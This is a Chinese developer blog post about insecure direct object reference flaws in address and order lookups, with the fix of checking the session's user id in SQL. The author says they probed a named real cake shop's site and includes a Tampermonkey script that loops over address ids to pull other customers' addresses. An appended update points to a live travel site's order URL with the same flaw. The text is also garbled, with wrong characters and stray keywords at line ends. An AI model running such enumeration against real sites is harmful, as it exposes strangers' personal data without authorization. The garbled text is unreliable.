去年公司南山接了一个大单,因为项目没有相似的借鉴彻底要靠本身摸索,而后是作一版感受不行又要调整,反反复复修改,而后新功能又要开发,一时一我的根本忙不过来,很是头痛,为工做更方便干脆安营扎山寨在客户那边,边开发边讨论解决方案,天天都是半夜才回到家。可是因为新功能要开发,旧的版面也在作调整,而后也有些许bug要修补,一我的工做量太大了,一边客户要求进度快,因此不少细节就忽略了,但也这样埋下了安全隐患。工做持续三个月左右,终因而要开发完成了,心中甚是高兴,终于一个项目又要完成了。但也这个时候,客户找一个专业测试员,专门测试系统的漏洞,以前埋下的祸根就显现出来了,一下找到七、8个漏洞,其中包括在线支付,客户信息的安全等。jquery
举个栗子客户信息是怎么不安全的web
在查询用户信息的时候使用sqlsql
select top 1 * from addr where id=地址id
在正常状况下,这个是确定是没有问题的,用户的地址id是惟一。可是呢,若是在web网站下,使用get请求去获取,用户随便修改一个id,那么多是获取到别的客户的信息了,这时候其余客户的信息严重泄露了。安全
如web地址get地址是/user/deliveryAddress/55,用户输入的是/user/deliveryAddress/56 session
所似咱们正确作法是,从当前登陆的session中获取用户id,同时使用用户id和地址id对比,这样才不会出错。测试
select top 1 * from addr where id=地址id and userid=用户id
确保此地址的信息是当前用户的网站
这种错误是否是只我才犯过呢?其实否则ui
前几天某蛋糕被曝不是当天新鲜制做,内部管理乱得一塌糊涂,其实以前也在他们家买过蛋糕,因而好奇去了他们官网看一下,无心中发如今用户修改地址信息的时候也是用户我以前的方式获取信息/user/deliveryAddress/id 。spa
作为一个it,以前我就犯过这种错误,好奇之下,我随便修改了一个地址id,果真地址信息改变了,看到其余用户的信息。后来为了验证,我在tampermonkey上写一个循环.net
// ==UserScript== // @name xfxb // @namespace http://tampermonkey.net/ // @version 0.1 // @description try to take over the world! // @author You // @match https://www.xfxb.net/* // @require http://code.jquery.com/jquery-1.11.0.min.js // @grant none // ==/UserScript== (function() { 'use strict'; for(var i=1000;i<1005;i++){ $.get("/user/deliveryAddress/"+i, function(result){ console.log(result); }); } // Your code here... })();
出现了如下信息
轻松拿到其余用户的地址信息,看来其余人也一样会犯这种错误。
@某蛋糕网站的It,你的漏洞了该修复了
记录踩过的坑,但愿其余人少踩到相同的坑,而且能在CNBLOGS这找到解决办法
######################################################### 分割线 2018/12/9 ###############################################################################
持续更新
6人游旅行网 手机版
随便登陆一个账号
登陆页面:http://m.6renyou.com/member/
打开订单页面:
http://m.6renyou.com/ordercext/getTripList?id=246039&t=
修改订单id更能够查看其余人订单信息